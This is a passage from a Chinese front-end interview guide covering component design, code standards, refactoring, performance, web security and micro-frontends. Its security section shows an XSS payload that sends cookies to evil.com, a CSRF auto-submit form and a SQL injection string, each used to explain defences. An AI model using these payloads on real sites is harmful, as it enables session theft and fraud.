    <div v-if="$slots.header || title" class="card-header">
      <slot name="header">
        <h3>{{ title }}</h3>
      </slot>
    </div>
    
    <!-- 内容区 -->
    <div class="card-body">
      <slot></slot>
    </div>
    
    <!-- 底部扩展 -->
    <div v-if="$slots.footer" class="card-footer">
      <slot name="footer"></slot>
    </div>
  </div>
</template>

<script>
export default {
  props: {
    title: String,
    size: { type: String, default: 'medium', validator: v => ['small', 'medium', 'large'].includes(v) },
    bordered: Boolean
  }
}
</script>

43. 组件可维护性

原则

维度 建议
命名规范 组件名 PascalCase,事件/方法 camelCase
代码结构 统一模板结构:props → data → computed → methods
注释规范 公共组件写 JSDoc,复杂逻辑加注释
类型检查 使用 TypeScript 或 PropTypes
单元测试 核心逻辑和公共组件编写测试
样式管理 使用预处理器、CSS Modules、设计变量

44. 如何设计一个高可复用的表单组件?

问题拆解

维度 需求
表单字段 支持多种类型:input、select、textarea、checkbox 等
表单验证 支持多种规则:必填、长度、正则、异步验证
表单布局 支持横向/纵向布局、栅格布局
表单提交 统一提交、防抖、加载状态
表单状态 脏数据、提交状态、错误状态

实现方案

<!-- 表单容器组件 -->
<template>
  <form @submit.prevent="handleSubmit">
    <div :class="['form', `form-${layout}`]">
      <slot :form="form"></slot>
    </div>
    <slot name="actions"></slot>
  </form>
</template>

<script>
export default {
  props: {
    model: { type: Object, required: true },
    rules: { type: Object, default: () => ({}) },
    layout: { type: String, default: 'vertical' }
  },
  data() {
    return {
      form: {
        values: { ...this.model },
        errors: {},
        touched: {},
        submitting: false
      }
    };
  },
  methods: {
    async validate(field) {
      const rule = this.rules[field];
      if (!rule) return true;
      
      const value = this.form.values[field];
      for (const validator of rule) {
        const error = await validator(value, this.form.values);
        if (error) {
          this.form.errors[field] = error;
          return false;
        }
      }
      delete this.form.errors[field];
      return true;
    },
    
    async handleSubmit() {
      const fields = Object.keys(this.rules);
      let valid = true;
      
      for (const field of fields) {
        if (!(await this.validate(field))) {
          valid = false;
        }
      }
      
      if (valid) {
        this.form.submitting = true;
        try {
          await this.$emit('submit', this.form.values);
        } finally {
          this.form.submitting = false;
        }
      }
    }
  }
}
</script>

<!-- 表单项组件 -->
<template>
  <div class="form-item" :class="{ 'form-item-error': form.errors[name] }">
    <label v-if="label">{{ label }}</label>
    <slot></slot>
    <span v-if="form.errors[name]" class="error-msg">{{ form.errors[name] }}</span>
  </div>
</template>

<!-- 使用 -->
<BaseForm :model="formData" :rules="rules" @submit="onSubmit">
  <template #default="{ form }">
    <FormItem label="用户名" name="username" :form="form">
      <input v-model="form.values.username" @blur="form.touched.username = true" />
    </FormItem>
    
    <FormItem label="邮箱" name="email" :form="form">
      <input v-model="form.values.email" @blur="form.validate('email')" />
    </FormItem>
  </template>
  
  <template #actions>
    <button type="submit" :disabled="form.submitting">提交</button>
  </template>
</BaseForm>

四、代码规范与最佳实践

45. 代码规范 / 编码规范

定义

代码规范是一组约定,用于统一团队的编码风格,提高代码可读性和可维护性。

规范内容

维度 规范内容
命名规范 变量/函数/组件/文件命名约定
格式规范 缩进、换行、空格、括号
注释规范 JSDoc、行注释、块注释
文件组织 导入顺序、模块导出
最佳实践 避免的写法、推荐的写法

46. 命名规范

// 变量/函数:camelCase
const userName = '张三';
function getUserInfo() {}

// 常量:UPPER_SNAKE_CASE
const MAX_RETRY_COUNT = 3;
const API_BASE_URL = '/api';

// 类/组件:PascalCase
class UserService {}
const UserProfile = () => <div>...</div>;

// 私有变量:_ 前缀
const _privateData = {};

// 布尔值:is/has/should 前缀
const isLoading = true;
const hasPermission = false;
const shouldUpdate = true;

// 事件处理:handle 前缀
function handleClick() {}
function handleSubmit() {}

// 回调函数:on 前缀
function onComplete() {}
function onError() {}

// 文件命名
// 组件:PascalCase.vue / .jsx
// 工具:camelCase.js
// 常量:UPPER_CASE.js

47. 注释规范

/**
 * 格式化日期
 * @param {Date|string|number} date - 日期对象或时间戳
 * @param {string} [format='YYYY-MM-DD'] - 格式化模板
 * @returns {string} 格式化后的日期字符串
 * @example
 * formatDate(new Date(), 'YYYY/MM/DD') // '2024/01/01'
 */
function formatDate(date, format = 'YYYY-MM-DD') {
  // 处理时间戳
  if (typeof date === 'number') {
    date = new Date(date);
  }
  
  // TODO: 支持更多格式化选项
  
  // HACK: 临时方案,需要后续优化
  return format.replace('YYYY', date.getFullYear());
}

// FIXME: 这里有性能问题,需要优化
// NOTE: 这个改动是因为需求变更
// WARN: 注意这个边界情况

48. ESLint

定义

ESLint 是一个可配置的 JavaScript 代码检查工具。

配置示例

// .eslintrc.js
module.exports = {
  root: true,
  env: { browser: true, es2021: true, node: true },
  extends: [
    'eslint:recommended',
    'plugin:vue/vue3-recommended',
    '@vue/typescript'
  ],
  parserOptions: {
    ecmaVersion: 'latest',
    parser: '@typescript-eslint/parser'
  },
  rules: {
    // 错误级别
    'no-console': process.env.NODE_ENV === 'production' ? 'error' : 'warn',
    'no-debugger': process.env.NODE_ENV === 'production' ? 'error' : 'off',
    
    // 风格规则
    'semi': ['error', 'always'],
    'quotes': ['error', 'single'],
    'indent': ['error', 2],
    
    // 最佳实践
    'eqeqeq': ['error', 'always'],
    'no-unused-vars': 'error',
    'prefer-const': 'error'
  }
};

49. Prettier

定义

Prettier 是一个代码格式化工具,自动统一代码风格。

配置示例

// .prettierrc
{
  "semi": true,
  "singleQuote": true,
  "tabWidth": 2,
  "trailingComma": "es5",
  "printWidth": 100,
  "arrowParens": "avoid",
  "bracketSpacing": true
}

ESLint + Prettier 集成

// package.json
{
  "scripts": {
    "lint": "eslint src --ext .js,.vue --fix",
    "format": "prettier --write src/**/*.{js,vue,css}"
  }
}

50. Git 提交规范

Conventional Commits 规范

<type>(<scope>): <subject>

<body>

<footer>

Type 类型

Type 说明
feat 新功能
fix Bug 修复
docs 文档变更
style 代码格式(不影响代码运行)
refactor 重构(既不是新功能也不是修复)
perf 性能优化
test 测试相关
chore 构建/工具变更
ci CI 配置变更

示例

feat(user): 添加用户登录功能

实现了基于 JWT 的用户登录验证
- 添加登录表单组件
- 添加登录 API 接口
- 添加 Token 存储逻辑

Closes #123

51. 代码审查(Code Review)

审查清单

维度 检查项
功能 是否满足需求、有无 Bug
设计 架构是否合理、是否过度设计
性能 有无性能问题、是否需要优化
安全 有无安全隐患(XSS、注入)
规范 是否遵循代码规范
测试 是否覆盖测试用例
文档 是否更新文档

52. 代码质量

衡量指标

指标 说明 工具
圈复杂度 代码路径复杂度 ESLint complexity
重复率 代码重复程度 SonarQube
测试覆盖率 测试覆盖的代码比例 Jest/Istanbul
技术债务 修复问题所需时间 SonarQube
代码异味 潜在问题代码 ESLint/SonarQube

五、重构技巧

53. 代码重构

定义

在不改变代码外部行为的前提下,改善代码的内部结构。

重构原则

  1. 红-绿-重构:先写测试(红)→ 实现功能(绿)→ 重构优化
  2. 小步重构:每次只做小改动,确保测试通过
  3. 频繁提交:每次重构后立即提交
  4. 保持测试通过:重构前后测试应全部通过

54. 重构技巧

技巧 说明 适用场景
提取函数 将代码块提取为独立函数 重复代码、过长函数
提取变量 将表达式结果赋给变量 复杂表达式、增加可读性
内联函数 将函数体替换为调用处 函数体过于简单
内联变量 直接使用表达式替代变量 临时变量
重命名 改进名称以增加可读性 命名不清晰
移动函数 将函数移到更合适的类/模块 函数归属不当
移动字段 将字段移到更合适的类 字段归属不当
封装字段 为字段提供 getter/setter 直接访问字段
封装集合 控制集合的访问和修改 暴露内部集合
引入断言 使用断言验证假设 调试、防御性编程

55. 提取函数

// 重构前
function printOwing(invoice) {
  let outstanding = 0;
  console.log('***********************');
  console.log('**** Customer Owes ****');
  console.log('***********************');
  
  // 计算明细
  for (const item of invoice.items) {
    outstanding += item.amount;
  }
  
  // 打印明细
  console.log(`name: ${invoice.customer}`);
  console.log(`amount: ${outstanding}`);
}

// 重构后:提取函数
function printOwing(invoice) {
  printBanner();
  const outstanding = calculateOutstanding(invoice);
  printDetails(invoice, outstanding);
}

function printBanner() {
  console.log('***********************');
  console.log('**** Customer Owes ****');
  console.log('***********************');
}

function calculateOutstanding(invoice) {
  return invoice.items.reduce((sum, item) => sum + item.amount, 0);
}

function printDetails(invoice, outstanding) {
  console.log(`name: ${invoice.customer}`);
  console.log(`amount: ${outstanding}`);
}

56. 提取变量

// 重构前
if (user.role === 'admin' && user.status === 'active' && user.permissions.includes('delete')) {
  // ...
}

// 重构后
const isAdmin = user.role === 'admin';
const isActive = user.status === 'active';
const canDelete = user.permissions.includes('delete');

if (isAdmin && isActive && canDelete) {
  // ...
}

57. 内联函数

// 重构前
function getRating(driver) {
  return moreThanFiveLateDeliveries(driver) ? 2 : 1;
}

function moreThanFiveLateDeliveries(driver) {
  return driver.numberOfLateDeliveries > 5;
}

// 重构后
function getRating(driver) {
  return driver.numberOfLateDeliveries > 5 ? 2 : 1;
}

58. 封装字段

// 重构前
class Person {
  constructor(name) {
    this.name = name;
  }
}

const p = new Person('张三');
p.name = ''; // 可以直接修改

// 重构后
class Person {
  #name;
  
  constructor(name) {
    this.setName(name);
  }
  
  getName() {
    return this.#name;
  }
  
  setName(value) {
    if (!value) throw new Error('name 不能为空');
    this.#name = value;
  }
}

59. 封装集合

// 重构前
class Team {
  constructor() {
    this.members = [];
  }
}

const team = new Team();
team.members = []; // 可以直接替换整个集合

// 重构后
class Team {
  #members = [];
  
  getMembers() {
    return [...this.#members]; // 返回副本
  }
  
  addMember(member) {
    this.#members.push(member);
  }
  
  removeMember(member) {
    this.#members = this.#members.filter(m => m !== member);
  }
}

六、性能优化策略

60. 前端性能优化

优化维度

维度 优化方向
加载优化 减少资源体积、减少请求数量
执行优化 减少 JS 执行时间、优化算法
渲染优化 减少重排重绘、使用 GPU 加速
网络优化 使用 CDN、HTTP/2、缓存策略
图片优化 格式选择、懒加载、响应式图片
缓存优化 浏览器缓存、Service Worker
首屏优化 SSR/SSG、代码分割、预加载
白屏优化 骨架屏、内联关键 CSS

61. 加载优化

策略

策略 说明 实现
代码分割 按路由/组件拆分代码 Webpack splitChunks、React.lazy
资源压缩 减小文件体积 Terser、CSSNano
图片压缩 优化图片大小 WebP、AVIF、Tinypng
Gzip/Brotli 压缩传输内容 Nginx 配置
CDN 加速 就近获取资源 CDN 分发
按需加载 用时才加载 动态 import()、懒加载
预加载 提前加载资源 <link rel="preload">
预连接 提前建立连接 <link rel="preconnect">

代码示例

// 路由懒加载
const Home = () => import('./pages/Home.vue');
const About = () => import('./pages/About.vue');

// React.lazy
const LazyComponent = React.lazy(() => import('./HeavyComponent'));

// 图片懒加载
<img loading="lazy" src="image.jpg" alt="图片" />

// 预加载关键资源
<link rel="preload" href="/fonts/main.woff2" as="font" crossorigin>
<link rel="preload" href="/css/critical.css" as="style">

// 预连接第三方域名
<link rel="preconnect" href="https://api.example.com">
<link rel="dns-prefetch" href="https://cdn.example.com">

62. 执行优化

策略

策略 说明
防抖/节流 减少高频事件触发
虚拟列表 只渲染可视区域
Web Worker 将计算移出主线程
避免强制同步布局 批量读写 DOM
减少闭包 减少内存占用
对象池 复用对象减少 GC

代码示例

// 防抖
function debounce(fn, delay) {
  let timer = null;
  return function(...args) {
    clearTimeout(timer);
    timer = setTimeout(() => fn.apply(this, args), delay);
  };
}

// 节流
function throttle(fn, limit) {
  let inThrottle = false;
  return function(...args) {
    if (!inThrottle) {
      fn.apply(this, args);
      inThrottle = true;
      setTimeout(() => inThrottle = false, limit);
    }
  };
}

// 虚拟列表
function VirtualList({ items, itemHeight, visibleCount }) {
  const [scrollTop, setScrollTop] = useState(0);
  
  const startIndex = Math.floor(scrollTop / itemHeight);
  const endIndex = Math.min(startIndex + visibleCount, items.length);
  const visibleItems = items.slice(startIndex, endIndex);
  
  return (
    <div style={{ height: visibleCount * itemHeight, overflow: 'auto' }}
         onScroll={e => setScrollTop(e.target.scrollTop)}>
      <div style={{ height: items.length * itemHeight, position: 'relative' }}>
        {visibleItems.map((item, i) => (
          <div key={i} style={{ 
            position: 'absolute', 
            top: (startIndex + i) * itemHeight 
          }}>
            {item}
          </div>
        ))}
      </div>
    </div>
  );
}

// Web Worker
const worker = new Worker('worker.js');
worker.postMessage(data);
worker.onmessage = (e) => {
  console.log('计算结果:', e.data);
};

63. 渲染优化

策略

策略 说明
减少重排 批量修改样式、使用 transform/opacity
减少重绘 避免频繁修改可见性、颜色
使用 will-change 提示浏览器优化
CSS 含合成 使用 transform 代替 top/left
避免布局抖动 避免交替读写 DOM
使用 DocumentFragment 批量插入 DOM

代码示例

// 好的做法:使用 transform
.element {
  transition: transform 0.3s;
}
.element:hover {
  transform: translateX(100px);
}

// 不好的做法:使用 top/left
.element {
  transition: left 0.3s;
}
.element:hover {
  left: 100px;
}

// 批量 DOM 操作
// 不好的做法
list.forEach(item => {
  const el = document.createElement('li');
  el.textContent = item;
  container.appendChild(el); // 多次触发重排
});

// 好的做法
const fragment = document.createDocumentFragment();
list.forEach(item => {
  const el = document.createElement('li');
  el.textContent = item;
  fragment.appendChild(el);
});
container.appendChild(fragment); // 只触发一次重排

// 避免布局抖动
// 不好的做法
div.style.width = '100px';
console.log(div.offsetWidth); // 强制同步布局
div.style.height = '200px';
console.log(div.offsetHeight); // 强制同步布局

// 好的做法
console.log(div.offsetWidth); // 先读取
div.style.width = '100px';    // 后写入
console.log(div.offsetHeight);
div.style.height = '200px';

64. 网络优化

策略

策略 说明
HTTP/2 多路复用、头部压缩
CDN 就近分发资源
资源合并 减少请求数(HTTP/1.1)
缓存策略 合理设置 Cache-Control
预请求 DNS 预解析、预连接

缓存策略

// HTTP 缓存头
// 强缓存
Cache-Control: max-age=31536000, immutable // 一年,不验证
Cache-Control: max-age=3600                // 一小时

// 协商缓存
ETag: "abc123"                             // 文件指纹
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT

// Nginx 配置示例
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
  expires 1y;
  add_header Cache-Control "public, immutable";
}

location / {
  add_header Cache-Control "no-cache";
}

65. 图片优化

策略

策略 说明
格式选择 WebP/AVIF 优先,PNG 用于透明,JPEG 用于照片
响应式图片 srcset + sizes 适配不同屏幕
懒加载 loading="lazy"
压缩 使用工具压缩图片
雪碧图 合并小图标
Base64 小图标内联

代码示例

<!-- 响应式图片 -->
<img 
  srcset="small.jpg 480w, medium.jpg 800w, large.jpg 1200w"
  sizes="(max-width: 480px) 480px, (max-width: 800px) 800px, 1200px"
  src="medium.jpg"
  alt="响应式图片"
  loading="lazy"
>

<!-- 使用 picture 元素 -->
<picture>
  <source srcset="image.webp" type="image/webp">
  <source srcset="image.avif" type="image/avif">
  <img src="image.jpg" alt="图片">
</picture>

66. 缓存优化

浏览器缓存层次

缓存类型 位置 有效期
Service Worker 浏览器 持久化
Memory Cache 内存 会话期间
Disk Cache 磁盘 根据 HTTP 头
Push Cache HTTP/2 连接 连接期间

localStorage/sessionStorage

// 带过期时间的缓存
function setWithExpiry(key, value, ttl) {
  const item = {
    value,
    expiry: Date.now() + ttl
  };
  localStorage.setItem(key, JSON.stringify(item));
}

function getWithExpiry(key) {
  const itemStr = localStorage.getItem(key);
  if (!itemStr) return null;
  
  const item = JSON.parse(itemStr);
  if (Date.now() > item.expiry) {
    localStorage.removeItem(key);
    return null;
  }
  return item.value;
}

67. 首屏优化

策略

策略 说明
SSR/SSG 服务端渲染/静态生成
代码分割 只加载首屏代码
内联关键 CSS 将首屏样式内联到 HTML
骨架屏 首屏占位
预渲染 构建时生成静态 HTML
资源优先级 preload/prefetch

骨架屏示例

<template>
  <div class="skeleton">
    <div class="skeleton-header"></div>
    <div class="skeleton-content">
      <div class="skeleton-line" v-for="i in 5" :key="i"></div>
    </div>
    <div class="skeleton-footer"></div>
  </div>
</template>

<style scoped>
.skeleton-line {
  height: 16px;
  background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
  background-size: 200% 100%;
  animation: shimmer 1.5s infinite;
  margin-bottom: 8px;
  border-radius: 4px;
}

@keyframes shimmer {
  0% { background-position: 200% 0; }
  100% { background-position: -200% 0; }
}
</style>

68. 白屏优化

策略

策略 说明
内联关键 JS 将初始化逻辑内联到 HTML
异步加载脚本 async/defer 加载
首屏直出 SSR 或预渲染
容错处理 JS 加载失败时的降级方案
预加载字体 避免字体闪烁

代码示例

<!DOCTYPE html>
<html>
<head>
  <style>
    /* 内联关键 CSS */
    .loading { display: flex; justify-content: center; align-items: center; height: 100vh; }
    .spinner { width: 40px; height: 40px; border: 3px solid #f3f3f3; border-top: 3px solid #3498db; border-radius: 50%; animation: spin 1s linear infinite; }
    @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
  </style>
</head>
<body>
  <div id="app">
    <div class="loading">
      <div class="spinner"></div>
      <p>加载中...</p>
    </div>
  </div>
  
  <script defer src="/js/app.js"></script>
</body>
</html>

69. 多维度性能优化策略有哪些?

Lighthouse 评分维度

维度 指标 目标值
性能 FCP(首次内容绘制) < 1.8s
性能 LCP(最大内容绘制) < 2.5s
性能 FID(首次输入延迟) < 100ms
性能 CLS(累积布局偏移) < 0.1
性能 TTI(可交互时间) < 3.8s
性能 TBT(总阻塞时间) < 200ms

优化路线图

1. 测量 → 使用 Lighthouse/Performance API 获取当前指标
2. 分析 → 定位瓶颈(网络、JS 执行、渲染)
3. 优化 → 针对性实施优化策略
4. 验证 → 重新测量确认效果
5. 监控 → 持续监控性能指标

七、安全策略

70. 前端安全

安全原则

  • 最小权限:只授予必要的权限
  • 纵深防御:多层防护
  • 不信任用户输入:所有输入都应验证和转义
  • 安全默认:默认开启安全策略

71. XSS 攻击

定义

XSS(跨站脚本攻击,Cross-Site Scripting)是攻击者向目标网站注入恶意脚本,在其他用户浏览器中执行。

攻击类型

类型 说明 示例
存储型 XSS 恶意脚本存储在服务器 评论中注入 <script> 标签
反射型 XSS 通过 URL 参数传递 搜索框:?q=<script>alert(1)</script>
DOM 型 XSS 通过前端 JS 操作 DOM innerHTML = userInput

攻击示例

// 存储型 XSS 场景
// 攻击者在评论框输入
const maliciousComment = `
  <img src="x" onerror="fetch('https://evil.com/steal?cookie=' + document.cookie)">
`;

// 如果后端没过滤,前端没转义
<div class="comment">
  ${userInput} // 恶意脚本执行
</div>

// DOM 型 XSS
const hash = location.hash.substring(1);
document.getElementById('output').innerHTML = hash; // 危险!

72. XSS 防御

防御策略

策略 说明 实现
输入过滤 验证和过滤用户输入 白名单验证、特殊字符转义
输出编码 输出时转义特殊字符 HTML 实体编码
CSP 内容安全策略 设置 HTTP 头
HttpOnly 禁止 JS 访问 Cookie Set-Cookie: HttpOnly
框架防护 框架自动转义 Vue/React 默认转义

代码实现

// HTML 转义函数
function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;'
  };
  return str.replace(/[&<>"'/]/g, s => map[s]);
}

// 使用
const userInput = '<script>alert(1)</script>';
const safeOutput = escapeHtml(userInput);
// &lt;script&gt;alert(1)&lt;/script&gt;

// DOMPurify 库
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);

// CSP 头配置
// Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
// Content-Security-Policy: script-src 'self' https://trusted-cdn.com

Vue/React 的安全特性

<!-- Vue 自动转义 -->
<div>{{ userInput }}</div> <!-- 安全,自动转义 -->
<div v-html="userInput"></div> <!-- 危险!需要自行处理 -->
// React 自动转义
<div>{userInput}</div> {/* 安全 */}
<div dangerouslySetInnerHTML={{ __html: userInput }} /> {/* 危险 */}

73. CSRF 攻击

定义

CSRF(跨站请求伪造,Cross-Site Request Forgery)是攻击者诱导用户在已认证的网站上执行非预期操作。

攻击原理

  1. 用户登录目标网站,获得 Cookie
  2. 用户访问恶意网站
  3. 恶意网站发送请求到目标网站
  4. 浏览器自动携带 Cookie,请求成功

攻击示例

<!-- 恶意网站 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- 或者 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

74. CSRF 防御

防御策略

策略 说明 实现
CSRF Token 请求携带随机 Token 表单/请求头携带 Token
SameSite Cookie 限制 Cookie 跨站发送 Set-Cookie: SameSite=Strict
验证 Referer 检查请求来源 服务端验证 Referer 头
自定义请求头 要求携带自定义头 X-Requested-With

代码实现

// CSRF Token 方案
// 后端生成 Token 放入页面
<meta name="csrf-token" content="abc123xyz">

// 前端携带 Token
axios.interceptors.request.use(config => {
  const token = document.querySelector('meta[name="csrf-token"]').content;
  config.headers['X-CSRF-Token'] = token;
  return config;
});

// 后端验证
app.post('/api/transfer', (req, res) => {
  const csrfToken = req.headers['x-csrf-token'];
  if (csrfToken !== req.session.csrfToken) {
    return res.status(403).send('CSRF Token 验证失败');
  }
  // 处理转账
});

// SameSite Cookie
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure
Set-Cookie: sessionId=abc123; SameSite=Lax; Secure

75. SQL 注入

定义

攻击者通过在输入中注入恶意 SQL 语句,改变原有 SQL 逻辑。

攻击示例

// 危险:拼接 SQL
const sql = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
// 攻击者输入:' OR '1'='1' --
// 结果 SQL:SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''

// 安全:使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.execute(sql, [username, password]);

76. 点击劫持

定义

攻击者将目标网站嵌入 iframe,诱导用户点击被覆盖的不可见元素。

防御

// X-Frame-Options 头
X-Frame-Options: DENY          // 不允许任何 iframe 嵌入
X-Frame-Options: SAMEORIGIN    // 只允许同源
X-Frame-Options: ALLOW-FROM https://example.com // 允许指定域名

// JS 防护
if (window.top !== window.self) {
  window.top.location = window.self.location;
}

77. 中间人攻击(MITM)

定义

攻击者在通信双方之间拦截、篡改或伪造数据。

防御

  • 使用 HTTPS 加密传输
  • HSTS(HTTP Strict Transport Security)
  • 证书锁定(Certificate Pinning)
  • 避免使用公共 WiFi 传输敏感信息

78. 内容安全策略(CSP)

定义

CSP(Content Security Policy)是一个额外的安全层,用于检测和缓解某些类型的攻击,包括 XSS 和数据注入。

配置

# 基本配置
Content-Security-Policy: default-src 'self'

# 允许特定域名
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';

# Report-Only 模式(不阻止只报告)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

指令说明

指令 说明
default-src 默认策略
script-src 脚本来源
style-src 样式来源
img-src 图片来源
font-src 字体来源
connect-src 连接来源(fetch、WebSocket)
frame-ancestors 允许嵌入的父页面
form-action 允许的表单提交地址

79. HTTPS

定义

HTTPS 是 HTTP 的安全版本,通过 SSL/TLS 加密数据传输。

优势

  • 数据加密:防止数据被窃听
  • 身份认证:防止中间人攻击
  • 数据完整性:防止数据被篡改

混合内容问题

<!-- 主动混合内容(被阻止) -->
<script src="http://example.com/script.js"></script>

<!-- 被动混合内容(警告) -->
<img src="http://example.com/image.jpg">

<!-- 解决方案:协议相对路径 -->
<script src="//example.com/script.js"></script>

<!-- Upgrade-Insecure-Requests -->
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">

80. 安全头配置

常用安全头

头部 说明
Content-Security-Policy 各种指令 内容安全策略
X-Content-Type-Options nosniff 禁止 MIME 嗅探
X-Frame-Options DENY/SAMEORIGIN 防止点击劫持
X-XSS-Protection 1; mode=block XSS 过滤器(已废弃)
Strict-Transport-Security max-age=31536000 HSTS
Referrer-Policy no-referrer 控制 Referer 信息
Permissions-Policy 各种权限 控制浏览器功能访问

Nginx 配置

server {
  add_header X-Content-Type-Options "nosniff" always;
  add_header X-Frame-Options "DENY" always;
  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
  add_header Referrer-Policy "strict-origin-when-cross-origin" always;
  add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
  add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}

81. 请谈谈你对前端安全性的理解,以及常见的安全攻击和防御手段

前端安全核心理念

  1. 所有用户输入都是不可信的:必须验证、过滤、转义
  2. 纵深防御:不依赖单一防护手段
  3. 安全默认:默认开启最严格的策略
  4. 最小权限:只开放必要的功能和接口

攻击与防御矩阵

攻击类型 原理 防御手段
XSS 注入恶意脚本 输入过滤、输出编码、CSP、HttpOnly
CSRF 伪造用户请求 CSRF Token、SameSite Cookie、Referer 验证
SQL 注入 注入恶意 SQL 参数化查询、ORM
点击劫持 iframe 覆盖 X-Frame-Options、CSP frame-ancestors
中间人攻击 拦截通信 HTTPS、HSTS

八、微前端架构

82. 微前端

定义

微前端(Micro Frontends)是一种将前端应用拆分为多个小型独立应用的架构模式,每个应用可以由不同团队独立开发、测试和部署。

核心特征

  • 技术栈无关:各子应用可以使用不同框架
  • 独立部署:子应用可以独立发布
  • 增量升级:逐步迁移,无需重写全部代码
  • 团队自治:不同团队独立开发

83. 微前端架构是什么?

架构模式

┌─────────────────────────────────────────┐
│              基座应用 (Shell)              │
│  ┌───────────────────────────────────┐  │
│  │          路由分发层                  │  │
│  └───────────────────────────────────┘  │
│  ┌────────┐ ┌────────┐ ┌────────┐       │
│  │ 子应用A │ │ 子应用B │ │ 子应用C │       │
│  │ React  │ │ Vue    │ │ Angular│       │
│  └────────┘ └────────┘ └────────┘       │
└─────────────────────────────────────────┘

适用场景

  • 大型项目、多团队协作
  • 历史遗留系统逐步迁移
  • 需要独立部署的功能模块

84. 微前端实现方案

方案对比

方案 原理 优点 缺点
iframe 原生 iframe 嵌入 简单、完全隔离 通信困难、性能差、URL 不同步
Web Components 自定义元素标准 标准化、组件化 兼容性、样式穿透困难
single-spa JS 沙箱 + 路由分发 轻量、灵活 需要手动处理隔离
qiankun single-spa 封装 开箱即用、样式/JS 隔离 有一定学习成本
Module Federation Webpack5 原生 模块级共享、性能好 仅 Webpack5

85. iframe 方案

实现

<!-- 基座应用 -->
<div id="micro-app-container">
  <iframe 
    src="http://app-a.example.com" 
    id="app-a"
    sandbox="allow-scripts allow-same-origin allow-forms"
  ></iframe>
</div>

<style>
#micro-app-container iframe {
  width: 100%;
  height: 100vh;
  border: none;
}
</style>

通信方案

// postMessage 通信
// 父应用
const iframe = document.getElementById('app-a');
iframe.contentWindow.postMessage({ type: 'SET_TOKEN', data: token }, '*');

// 子应用
window.addEventListener('message', (e) => {
  if (e.data.type === 'SET_TOKEN') {
    localStorage.setItem('token', e.data.data);
  }
});

86. Web Components

实现

// 定义组件
class MicroAppComponent extends HTMLElement {
  constructor() {
    super();
    this.attachShadow({ mode: 'open' });
  }
  
  connectedCallback() {
    this.shadowRoot.innerHTML = `
      <style>
        :host { display: block; }
        h1 { color: #333; }
      </style>
      <h1>微前端应用</h1>
    `;
  }
  
  disconnectedCallback() {
    // 清理
  }
}

customElements.define('micro-app', MicroAppComponent);

// 使用
<micro-app></micro-app>

87. single-spa

实现

import { registerApplication, start } from 'single-spa';

// 注册子应用
registerApplication({
  name: 'app-a',
  app: () => import('http://app-a.example.com/main.js'),
  activeWhen: ['/app-a']
});

registerApplication({
  name: 'app-b',
  app: () => import('http://app-b.example.com/main.js'),
  activeWhen: ['/app-b']
});

start();

子应用生命周期

export async function bootstrap(props) {
  console.log('子应用 bootstrap');
}

export async function mount(props) {
  console.log('子应用 mount');
  // 渲染应用
}

export async function unmount(props) {
  console.log('子应用 unmount');
  // 清理资源
}

88. qiankun

基座应用配置

import { registerMicroApps, start } from 'qiankun';

registerMicroApps([
  {
    name: 'app-vue',
    entry: '//localhost:8081',
    container: '#container',
    activeRule: '/app-vue',
    props: { token: 'xxx' }
  },
  {
    name: 'app-react',
    entry: '//localhost:8082',
    container: '#container',
    activeRule: '/app-react'
  }
]);

start({
  sandbox: { strictStyleIsolation: true },
  prefetch: true
});

子应用配置(Vue)

// main.js
import Vue from 'vue';
import VueRouter from 'vue-router';

let instance = null;

function render(props = {}) {
  const { container } = props;
  instance = new Vue({
    router,
    store,
    render: h => h(App)
  }).$mount(container ? container.querySelector('#app') : '#app');
}

if (!window.__POWERED_BY_QIANKUN__) {
  render();
}

export async function bootstrap() {}

export async function mount(props) {
  render(props);
}

export async function unmount() {
  instance.$destroy();
  instance = null;
}

89. Module Federation

配置

// 主应用 webpack.config.js
const { ModuleFederationPlugin } = require('webpack').container;

module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'host',
      remotes: {
        appA: 'appA@http://localhost:3001/remoteEntry.js',
      },
      shared: ['react', 'react-dom']
    })
  ]
};

// 子应用 webpack.config.js
module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'appA',
      filename: 'remoteEntry.js',
      exposes: {
        './App': './src/App',
      },
      shared: ['react', 'react-dom']
    })
  ]
};

// 使用
const AppA = React.lazy(() => import('appA/App'));

90. 微前端通信

通信方案

方案 适用场景
props 传递 基座向子应用传递数据
自定义事件 子应用间解耦通信
全局状态 跨应用共享状态
localStorage 简单数据持久化
URL 参数 路由参数传递

代码实现

// 全局状态方案
class MicroAppState {
  constructor() {
    this.state = {};
    this.listeners = {};
  }
  
  set(key, value) {
    this.state[key] = value;
    if (this.listeners[key]) {
      this.listeners[key].forEach(fn => fn(value));
    }
  }
  
  get(key) {
    return this.state[key];
  }
  
  on(key, fn) {
    if (!this.listeners[key]) this.listeners[key] = [];
    this.listeners[key].push(fn);
  }
}

export const globalState = new MicroAppState();

// 使用
globalState.set('user', { name: '张三' });
globalState.on('user', (user) => {
